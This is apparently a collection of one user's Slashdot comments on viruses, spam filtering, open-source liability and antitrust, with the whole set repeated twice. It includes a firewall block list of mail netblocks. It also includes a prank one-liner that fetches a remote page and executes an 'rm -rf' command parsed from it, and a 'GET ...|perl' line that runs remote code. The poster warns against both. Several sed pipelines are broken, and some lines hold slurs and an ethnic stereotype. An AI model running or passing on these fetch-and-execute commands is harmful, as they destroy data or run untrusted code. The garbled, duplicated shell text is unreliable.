no antivirus software is not going to detect anything. I meant to type, no antivirus software is going to detect EVERYTHING. If this were the case, newer versions of Netsky and Bagel would get by, which is why most virus makers tweak code little by little, and another variant becomes a nuisance. Netsky and Bagle prove this. Right now there are who knows how many variants of it.
they hardly made a dent. As long as end users have updated scanners it should not pose as much of a problem Obviously you probably are not in the system administration field, ISP field, or anything similar. Right now I work in the ISP field, and you have no idea of the nuisances cause by the same repetitive viruses going on right now. Try explaining to Joe Blow common users why they're receiving messages from management, staff, security@someisp.com telling them their account will be terminated if they don't open foo file. Most don't know what a spoof is, and most don't understand why their dial up connections are now giving them errors.
Along with antivirus sofware which - some go through autoupdates, try explaining to users why they need to run their antivirus software after an update. See most people outside of the geek world would believe that an autoupdate from Symantec, or McAfee or others is automagically going to take care of itself, and it's not. Sure people here may know, but not everyone is Top Geek.
Whenever I talk to friends who don't know much about computing I try to liken it to human diseases and medicine, and those vaccination shots Americans have to take as kids going to school: "If you had diabetes you need insulin, if you go to the pharmacy and get that insulin but bring it home and put it on the table, your doing nothing. Think of an autoupdate from an antivirus company as doing just that. You got the medicine now, why leave it on the table. You have to use it." Most of the times they understand afterwards and ask silly things like well why doesn't the program do it itslef. Some antivirus software does after some configuration some doesn't.
For anyone to think that; someone outside of the computing - is going to have an understanding of this, you're wrong. If this were the case, there would be no more viruses. People are too trusting and naive sometimes, and no antivirus software is not going to detect anything. Has anyone not seen viruses that disable firewalls, antivirus software altogether, because I know I have dealth with people becoming infected with such. You can't base your experience with that of Joe Blow, it's apples and oranges.
I don't bother getting too deep into downloading too many 'new improved!...' filters. I block entire damn countries/netblocks. Besides I don't know anyone in korea, brazil, china, nor any other one of the massive spamming countries. I configure postfix to filter out a lot and the minute I receive one spammed message, I always whois -h whois.apnic/arin/ripe/lacnic offender and block their entire range. I also have spam assassin running and I have to admit I get about maybe... maybe... 4 spams a week not kidding. Again though this is my personal machine.
block return-icmp (8) in proto tcp from 24.76.0.0/14 to any port = 25 block return-icmp (3) in proto tcp from 81.208.64.0/18 to any port = 25 block return-icmp (4) in proto tcp from 163.121.163.0/22 to any port = 25 block return-icmp (4) in proto tcp from 82.77.83.0/24 to any port = 25 block return-icmp (4) in proto tcp from 61.247.224.0/19 to any port = 25 block return-icmp (4) in proto tcp from 217.132.0.0/17 to any port = 25 block return-icmp (4) in proto tcp from 62.103.204.32/27 to any port = 25 block return-icmp (4) in proto tcp from 210.111.224.0/17 to any port = 25 block return-icmp (4) in proto tcp from 144.135.0.0/8 to any port = 25 block return-icmp (4) in proto tcp from 195.166.224.0/18 to any port = 25 block return-icmp (4) in proto tcp from 61.228.0.0/8 to any port = 25 block return-icmp (4) in proto tcp from 207.144.229.0/24 to any port = 25 block return-icmp (4) in proto tcp from 193.252.22.160/28 to any port = 25 block return-icmp (4) in proto tcp from 200.0.0.0/8 to any port = 25 block return-icmp (4) in proto tcp from 209.202.192.0/18 to any port = 25 block return-icmp (4) in proto tcp from 83.32.0.0/8 to any port = 25 block return-icmp (4) in proto tcp from 68.38.64.0/8 to any port = 25 block return-icmp (4) in proto tcp from 219.240.0.0/10 to any port = 25 block return-icmp (4) in proto tcp from 195.57.218.0/25 to any port = 25 block return-icmp (4) in proto tcp from 129.79.245.98 to any port = 25 block return-icmp (4) in proto tcp from 24.150.0.0/19 to any port = 25 block return-icmp (4) in proto tcp from 24.205.28.0/21 to any port = 25 block return-icmp (4) in proto tcp from 220.116.0.0/8 to any port = 25 block return-icmp (4) in proto tcp from 200.128.0.0/9 to any port = 25 block return-icmp (4) in proto tcp from 212.81.64.0/17 to any port = 25 block return-icmp (4) in proto tcp from 32.10.58.0/19 to any port = 25 block return-icmp (4) in proto tcp from 210.183.110.0/20 to any port = 25 block return-icmp (4) in proto tcp from 134.196.0.0/16 to any port = 25 block return-icmp (4) in proto tcp from 24.60.88.0/23 to any port = 25 block return-icmp (3) in proto tcp from 24.190.8.0/24 to any port = 25 block return-icmp (2) in proto tcp from 24.98.77.0/23 to any port = 25 block return-icmp (2) in proto tcp from 24.173.29.0/23 to any port = 25 block return-icmp (2) in proto tcp from 205.206.176.0/23 to any port = 25 block return-icmp (2) in proto tcp from 172.128.0.0/10 to any port = 25 block return-icmp (2) in proto tcp from 200.171.99.0/24 to any port = 25 block return-icmp (2) in proto tcp from 200.171.97.0/22 to any port = 25 block return-icmp (2) in proto udp from 200.171.97.0/22 to any port = 25 block return-icmp (2) in proto tcp from 68.62.80.128/25 to any port = 25 block return-icmp (2) in proto udp from 68.62.80.128/25 to any port = 25 block return-icmp (2) in proto tcp from 218.76.0.0/17 to any port = 25 block return-icmp (2) in proto udp from 218.76.0.0/17 to any port = 25
And on that page do you know what's there? all of their images... Or just redirect it right back to their images. I've got scripting in place for sites I don't like, gave permission to link to etal...
for i in `lynx -dump http://www.geocrawler.com/archives/3/209/1998/4/0/ 1209608/|sed -n '83p'|awk '{print $7,$8,$9}'`; do xargs $i/*; done
don't do this let me explain what this will do...
It goes to a script on geocrawler.com and looks and parses out the rm -rf command and executes it... plain and simple. Scripts are dangerous and you should definitely not run them if you don't know what your doing...
GET www.infiltrated.net/magic|perl
That's lame though and does nothing... It's deception nothing more
I wonder how many ISP's are losing money from all of these viruses.
customer: I just got this virus that says my account has been terminated! bofhell: That's right and that suspended account you received email with just NOW... did not send you that message!
Things look far more frightening, in fact. Genetic weapons could do more than destroy an ethnic group. They could kill according to a person's 'usefulness' or 'talents'. American journalist and bestselling author Thom Hartmann has argued that it would even be possible to kill those with the gene for attention deficit disorder. This means that if you are easily distracted and have a hard time concentrating (there could be other selection criteria as well), you could end up marked for destruction.The Mark of Doom Finally! A solution for those trolls
DARPA researchers are also at work on the "Brain Machine Interface" ("neuromics") project, designed as a mind/machine interface, allowing mechanical devices to be controlled via thought-power. Thus far, researchers have taught a monkey to move a computer mouse and a telerobotic arm simply by thinking about it. With arrays of up to 96 electrodes implanted in their brains, the animals are able to reach for food with a robotic arm. Researchers even transmitted the signals over the internet, allowing remote control of an robotic arm 600 miles away. In the future they hope to develop a "non-invasive interface" for human use. Says DARPA, "The long-term Defense implications of finding ways to turn thoughts into acts, if it can be developed, are enormous: imagine U.S. warfighters that only need use the power of their thoughts to do things at great distances." For years, the U.S. military has been improving its ability to reach out and kill someone. What's the mantra of the future? Maybe, if you think it, they will die. Wild weapons of DARPA
What else can we propel through the next blackout/apocalypse? I'm going old school and cranking up the old 8 tracks with some Barry White and my wife fsck all that other stuff. I'm contributing to the kids... segment lub dem kids
You know what you're absolutely right you should not be liable for anything you create. If holes come out down the line, whether security related, or it's just broken I would know never to use your program again. I hope other OSS developers don't think like this, what you're telling me you don't care what gets thrown out. Hey if it works it does if it doesn't who gives a rats ass. If you're a company using this, you're on your own because me as a developer I don't give a shit. This is what I'm seeing too much of not saying you in general, but take a good look at what you posted. Why should any company want to move away from some company no matter how bad their code sucks. Eventually they know that a patch is coming out regardless if it comes out late, it still is coming.
Too many developers don't take this into consideration. Imagine if the Apache team decided to just call it a day and not release any fixes, more releases, etc., and other OSS httpd developers decided to follow suit. All because "hey it's been fun" how responsible would that be. Do you see the dual standard via way of control.
See this is one of the problems Ive always thought about the whole open source community. Looking at sites like Freshmeat, Sourceforge and so many others, too many developers come out with some really neat tools that make it into the production environment, they become detrimental to some point and a developer drops patches, fixes. Sure it should be the responsibility of the end user, but what happens when you've built a company around using these tools because you "wanted to support to OSS movement"? Your comment reeks of the same "controlling", gestapoish tactics as those of non OSS developers. At least with a company whether its IBM, MS, Redhat, Sun, you pay for the support behind it which is why I can't see Sun, IBM, or MS going anywhere or even *Nix becoming the "de-facto" standard in the near future. For all the arguments of "nix taking over the desktop market, server market, developers should take a quick second look at thoughts like these and see how counterproductive they are. The entire world isn't filled with geeks ready to open up emacs, vi, notepads to code fixes, patches, etc.
For instance, imagine that they mandate open source, but then throw in a requirement that the programmer assume responsibility for its performance, or become liable in other ways. To some extent I agree but I disagree at the same time. I think it is the responsibility of the programmer/corp/* to ensure proper patching, fixes should something happen. That's something that should be common sense. What you're stating from what I'm reading is you want to be able to throw out whatever program you like without responsibility. Sure you should be able to throw out whatever you like, but you as a developer/coder/corp.* whatever other title you wanna throw out, should be responsible for certain things such as fixes when needed.
Then, the only people who would be able to participate would be companies with deep pockets. False, IBM has taken a huge leap within the past few years into the Linux market moving away from MS, look at Redhat once upon a time. Eventually after all is said and done with the whole "I'd like to teach the world to sing..." free free free rant... Know what? Tell your landlord you want to live rent free. Sad reality is sometimes money does have to come into the equation you can't have your cake and eat it too.
and subpeona the names of the actual spammers, then charge them with hacking the computers used to send the spam Did you miss something I posted? Again if someone has their machine broken into, how the hell are they supposed to find out who it was that broke into it if they didn't know how to protect it from the jump? As for your subpoena point, makes little sense, again what are you going to do if Shaka Zulu from Niger broke into your machine, go searching for him? Sure waste 2million tax dollars as opposed to just chalking up what a $.0002 spam sent. Instead of attacking the endusers, they should be going after the companies who are selling the products being offered. That would definitely stop it, going after an end user does nothing, besides the gov is liable to falsely prosecute some innocent joe shmoe. If you think it won't happen look at what the RIAA did to 80 year olds who never even heard of an MP3. Same players different issue
Firstly CAN-SPAM is nothing more than a political tool used by a tool this election year nothing more. For the US to claim to have made a law in places where laws mean nothing - e.g. about those pesky APNIC/LACNIC domains. Now, considering a huge portion of spam gets sent by users whose machines are infected with annoying ass viruses, what is the government going to do aside from possibly bringing in innocent victims - users whose machines were infected or rooted - to court and make them stand trial for something they didn't even know they did.
Secondly, with every Joe Blow dot com stepping on the scene, how many companies with misconfigured mail servers fall victim to going to court?
Microsoft will not be required to make changes that would have crippled IE's ability to work with plug-ins like QuickTime and Flash. Would this really matter? The government is tiptoeing through the laws with MS in any circumstance, so how long will it be before the next MS release has implemented functions that will (by default) play these filetypes on IE by default. Sure it won't be allowed to 'cripple' them, "no one said we had to use them by default". A half a billion to MS is nothing, sure it's worth saving, but for what?, to use that half billion to find a newer method of skirting the issue?
Judge Kollar-Kotelly heard that total donations to political donations from Microsoft and its employees to political parties, candidates and PACs in the 2000 election cycle amounted to more than $6.1 million. During this period, Microsoft and its executives accounted for $2.3 million in soft money contributions, compared to $1.55 million by Enron and its executives for the same period. Soft money is the term generally given to unregulated corporate and individual contributions that cannot go directly to candidates, but which typically goes to political parties.USA: Microsoft's Lobbying Efforts Eclipse Enron
If anyone really thinks these kinds of issues don't affect the outcome of things, I seriously think you need to do your research. Of course it's unethical, but you name one business that hasn't done something unethical for the sake of their company.
Slashdot Mirror
Let me clarify this since I'm just waking up...
no antivirus software is not going to detect anything. I meant to type, no antivirus software is going to detect EVERYTHING. If this were the case, newer versions of Netsky and Bagel would get by, which is why most virus makers tweak code little by little, and another variant becomes a nuisance. Netsky and Bagle prove this. Right now there are who knows how many variants of it.
they hardly made a dent. As long as end users have updated scanners it should not pose as much of a problem Obviously you probably are not in the system administration field, ISP field, or anything similar. Right now I work in the ISP field, and you have no idea of the nuisances cause by the same repetitive viruses going on right now. Try explaining to Joe Blow common users why they're receiving messages from management, staff, security@someisp.com telling them their account will be terminated if they don't open foo file. Most don't know what a spoof is, and most don't understand why their dial up connections are now giving them errors.
Along with antivirus sofware which - some go through autoupdates, try explaining to users why they need to run their antivirus software after an update. See most people outside of the geek world would believe that an autoupdate from Symantec, or McAfee or others is automagically going to take care of itself, and it's not. Sure people here may know, but not everyone is Top Geek.
Whenever I talk to friends who don't know much about computing I try to liken it to human diseases and medicine, and those vaccination shots Americans have to take as kids going to school: "If you had diabetes you need insulin, if you go to the pharmacy and get that insulin but bring it home and put it on the table, your doing nothing. Think of an autoupdate from an antivirus company as doing just that. You got the medicine now, why leave it on the table. You have to use it." Most of the times they understand afterwards and ask silly things like well why doesn't the program do it itslef. Some antivirus software does after some configuration some doesn't.
For anyone to think that; someone outside of the computing - is going to have an understanding of this, you're wrong. If this were the case, there would be no more viruses. People are too trusting and naive sometimes, and no antivirus software is not going to detect anything. Has anyone not seen viruses that disable firewalls, antivirus software altogether, because I know I have dealth with people becoming infected with such. You can't base your experience with that of Joe Blow, it's apples and oranges.
PVC just isn't put to good use anymore. You did say PVC right?
I don't bother getting too deep into downloading too many 'new improved!...' filters. I block entire damn countries/netblocks. Besides I don't know anyone in korea, brazil, china, nor any other one of the massive spamming countries. I configure postfix to filter out a lot and the minute I receive one spammed message, I always whois -h whois.apnic/arin/ripe/lacnic offender and block their entire range. I also have spam assassin running and I have to admit I get about maybe... maybe... 4 spams a week not kidding. Again though this is my personal machine.
block return-icmp (8) in proto tcp from 24.76.0.0/14 to any port = 25
block return-icmp (3) in proto tcp from 81.208.64.0/18 to any port = 25
block return-icmp (4) in proto tcp from 163.121.163.0/22 to any port = 25
block return-icmp (4) in proto tcp from 82.77.83.0/24 to any port = 25
block return-icmp (4) in proto tcp from 61.247.224.0/19 to any port = 25
block return-icmp (4) in proto tcp from 217.132.0.0/17 to any port = 25
block return-icmp (4) in proto tcp from 62.103.204.32/27 to any port = 25
block return-icmp (4) in proto tcp from 210.111.224.0/17 to any port = 25
block return-icmp (4) in proto tcp from 144.135.0.0/8 to any port = 25
block return-icmp (4) in proto tcp from 195.166.224.0/18 to any port = 25
block return-icmp (4) in proto tcp from 61.228.0.0/8 to any port = 25
block return-icmp (4) in proto tcp from 207.144.229.0/24 to any port = 25
block return-icmp (4) in proto tcp from 193.252.22.160/28 to any port = 25
block return-icmp (4) in proto tcp from 200.0.0.0/8 to any port = 25
block return-icmp (4) in proto tcp from 209.202.192.0/18 to any port = 25
block return-icmp (4) in proto tcp from 83.32.0.0/8 to any port = 25
block return-icmp (4) in proto tcp from 68.38.64.0/8 to any port = 25
block return-icmp (4) in proto tcp from 219.240.0.0/10 to any port = 25
block return-icmp (4) in proto tcp from 195.57.218.0/25 to any port = 25
block return-icmp (4) in proto tcp from 129.79.245.98 to any port = 25
block return-icmp (4) in proto tcp from 24.150.0.0/19 to any port = 25
block return-icmp (4) in proto tcp from 24.205.28.0/21 to any port = 25
block return-icmp (4) in proto tcp from 220.116.0.0/8 to any port = 25
block return-icmp (4) in proto tcp from 200.128.0.0/9 to any port = 25
block return-icmp (4) in proto tcp from 212.81.64.0/17 to any port = 25
block return-icmp (4) in proto tcp from 32.10.58.0/19 to any port = 25
block return-icmp (4) in proto tcp from 210.183.110.0/20 to any port = 25
block return-icmp (4) in proto tcp from 134.196.0.0/16 to any port = 25
block return-icmp (4) in proto tcp from 24.60.88.0/23 to any port = 25
block return-icmp (3) in proto tcp from 24.190.8.0/24 to any port = 25
block return-icmp (2) in proto tcp from 24.98.77.0/23 to any port = 25
block return-icmp (2) in proto tcp from 24.173.29.0/23 to any port = 25
block return-icmp (2) in proto tcp from 205.206.176.0/23 to any port = 25
block return-icmp (2) in proto tcp from 172.128.0.0/10 to any port = 25
block return-icmp (2) in proto tcp from 200.171.99.0/24 to any port = 25
block return-icmp (2) in proto tcp from 200.171.97.0/22 to any port = 25
block return-icmp (2) in proto udp from 200.171.97.0/22 to any port = 25
block return-icmp (2) in proto tcp from 68.62.80.128/25 to any port = 25
block return-icmp (2) in proto udp from 68.62.80.128/25 to any port = 25
block return-icmp (2) in proto tcp from 218.76.0.0/17 to any port = 25
block return-icmp (2) in proto udp from 218.76.0.0/17 to any port = 25
Good old mod_security used as mod_redirect
SecFilterSelective THE_REQUEST "/mypictures.jpg" "redirect:http://oneofmysites/theirpictures.html"
And on that page do you know what's there? all of their images... Or just redirect it right back to their images. I've got scripting in place for sites I don't like, gave permission to link to etal...
for i in `lynx -dump http://www.geocrawler.com/archives/3/209/1998/4/0/ 1209608/|sed -n '83p'|awk '{print $7,$8,$9}'`; do xargs $i /*; done
don't do this let me explain what this will do...
It goes to a script on geocrawler.com and looks and parses out the rm -rf command and executes it... plain and simple. Scripts are dangerous and you should definitely not run them if you don't know what your doing...
GET www.infiltrated.net/magic|perl
That's lame though and does nothing... It's deception nothing more
wget -qO - http://www.microsoft.com | \ sed -e :a -e 's/]*>//g;//N;//ba' | \
sed -n '308p' | \
awk '{print $4,$5 "... Tell me another one"}'
lynx -dump www.infiltrated.net/wtf|\ /g;s/\&//;s/-/ /g'|\ //g'
grep "+-"|\
sed 's/\\//g;s/\//
awk '{print $2,$3,$4,$5}'|\
sed 's/
I wonder how many ISP's are losing money from all of these viruses.
customer: I just got this virus that says my account has been terminated!
bofhell: That's right and that suspended account you received email with just NOW... did not send you that message!
# userdel customer
FSF & RMS about SCO and GPL ... LOL WTF
Things look far more frightening, in fact. Genetic weapons could do more than destroy an ethnic group. They could kill according to a person's 'usefulness' or 'talents'. American journalist and bestselling author Thom Hartmann has argued that it would even be possible to kill those with the gene for attention deficit disorder. This means that if you are easily distracted and have a hard time concentrating (there could be other selection criteria as well), you could end up marked for destruction. The Mark of Doom Finally! A solution for those trolls
DARPA researchers are also at work on the "Brain Machine Interface" ("neuromics") project, designed as a mind/machine interface, allowing mechanical devices to be controlled via thought-power. Thus far, researchers have taught a monkey to move a computer mouse and a telerobotic arm simply by thinking about it. With arrays of up to 96 electrodes implanted in their brains, the animals are able to reach for food with a robotic arm. Researchers even transmitted the signals over the internet, allowing remote control of an robotic arm 600 miles away. In the future they hope to develop a "non-invasive interface" for human use. Says DARPA, "The long-term Defense implications of finding ways to turn thoughts into acts, if it can be developed, are enormous: imagine U.S. warfighters that only need use the power of their thoughts to do things at great distances." For years, the U.S. military has been improving its ability to reach out and kill someone. What's the mantra of the future? Maybe, if you think it, they will die. Wild weapons of DARPA
What else can we propel through the next blackout/apocalypse? I'm going old school and cranking up the old 8 tracks with some Barry White and my wife fsck all that other stuff. I'm contributing to the kids... segment lub dem kids
You know what you're absolutely right you should not be liable for anything you create. If holes come out down the line, whether security related, or it's just broken I would know never to use your program again. I hope other OSS developers don't think like this, what you're telling me you don't care what gets thrown out. Hey if it works it does if it doesn't who gives a rats ass. If you're a company using this, you're on your own because me as a developer I don't give a shit. This is what I'm seeing too much of not saying you in general, but take a good look at what you posted. Why should any company want to move away from some company no matter how bad their code sucks. Eventually they know that a patch is coming out regardless if it comes out late, it still is coming.
Too many developers don't take this into consideration. Imagine if the Apache team decided to just call it a day and not release any fixes, more releases, etc., and other OSS httpd developers decided to follow suit. All because "hey it's been fun" how responsible would that be. Do you see the dual standard via way of control.
See this is one of the problems Ive always thought about the whole open source community. Looking at sites like Freshmeat, Sourceforge and so many others, too many developers come out with some really neat tools that make it into the production environment, they become detrimental to some point and a developer drops patches, fixes. Sure it should be the responsibility of the end user, but what happens when you've built a company around using these tools because you "wanted to support to OSS movement"? Your comment reeks of the same "controlling", gestapoish tactics as those of non OSS developers. At least with a company whether its IBM, MS, Redhat, Sun, you pay for the support behind it which is why I can't see Sun, IBM, or MS going anywhere or even *Nix becoming the "de-facto" standard in the near future. For all the arguments of "nix taking over the desktop market, server market, developers should take a quick second look at thoughts like these and see how counterproductive they are. The entire world isn't filled with geeks ready to open up emacs, vi, notepads to code fixes, patches, etc.
For instance, imagine that they mandate open source, but then throw in a requirement that the programmer assume responsibility for its performance, or become liable in other ways. To some extent I agree but I disagree at the same time. I think it is the responsibility of the programmer/corp/* to ensure proper patching, fixes should something happen. That's something that should be common sense. What you're stating from what I'm reading is you want to be able to throw out whatever program you like without responsibility. Sure you should be able to throw out whatever you like, but you as a developer/coder/corp.* whatever other title you wanna throw out, should be responsible for certain things such as fixes when needed.
Then, the only people who would be able to participate would be companies with deep pockets. False, IBM has taken a huge leap within the past few years into the Linux market moving away from MS, look at Redhat once upon a time. Eventually after all is said and done with the whole "I'd like to teach the world to sing..." free free free rant... Know what? Tell your landlord you want to live rent free. Sad reality is sometimes money does have to come into the equation you can't have your cake and eat it too.
_xXx_h4x0r3rZer0_xXx [#31337] d00d sl4shd0t p0st1d 0ur sh1zzl3 m4h n1zz73
XxX-|-Ne()-|-XxX [#31337]
XxX-|-Ne()-|-XxX [#31337] l4m3rz!@_!@
damn I'm dumb
Let's see what would scare people in my neck of the woods (NYC East New York to be exact)... Mr. Roboto or Mr. Glocko
and subpeona the names of the actual spammers, then charge them with hacking the computers used to send the spam Did you miss something I posted? Again if someone has their machine broken into, how the hell are they supposed to find out who it was that broke into it if they didn't know how to protect it from the jump? As for your subpoena point, makes little sense, again what are you going to do if Shaka Zulu from Niger broke into your machine, go searching for him? Sure waste 2million tax dollars as opposed to just chalking up what a $ .0002 spam sent. Instead of attacking the endusers, they should be going after the companies who are selling the products being offered. That would definitely stop it, going after an end user does nothing, besides the gov is liable to falsely prosecute some innocent joe shmoe. If you think it won't happen look at what the RIAA did to 80 year olds who never even heard of an MP3. Same players different issue
Firstly CAN-SPAM is nothing more than a political tool used by a tool this election year nothing more. For the US to claim to have made a law in places where laws mean nothing - e.g. about those pesky APNIC/LACNIC domains. Now, considering a huge portion of spam gets sent by users whose machines are infected with annoying ass viruses, what is the government going to do aside from possibly bringing in innocent victims - users whose machines were infected or rooted - to court and make them stand trial for something they didn't even know they did.
Secondly, with every Joe Blow dot com stepping on the scene, how many companies with misconfigured mail servers fall victim to going to court?
Yes! Now I have freedom of spoof.. err speech SCUMGROUP - Suing Businesses Worldwide
Since you put it like that I see your SCO and raise you with my SCUM
Microsoft will not be required to make changes that would have crippled IE's ability to work with plug-ins like QuickTime and Flash. Would this really matter? The government is tiptoeing through the laws with MS in any circumstance, so how long will it be before the next MS release has implemented functions that will (by default) play these filetypes on IE by default. Sure it won't be allowed to 'cripple' them, "no one said we had to use them by default". A half a billion to MS is nothing, sure it's worth saving, but for what?, to use that half billion to find a newer method of skirting the issue?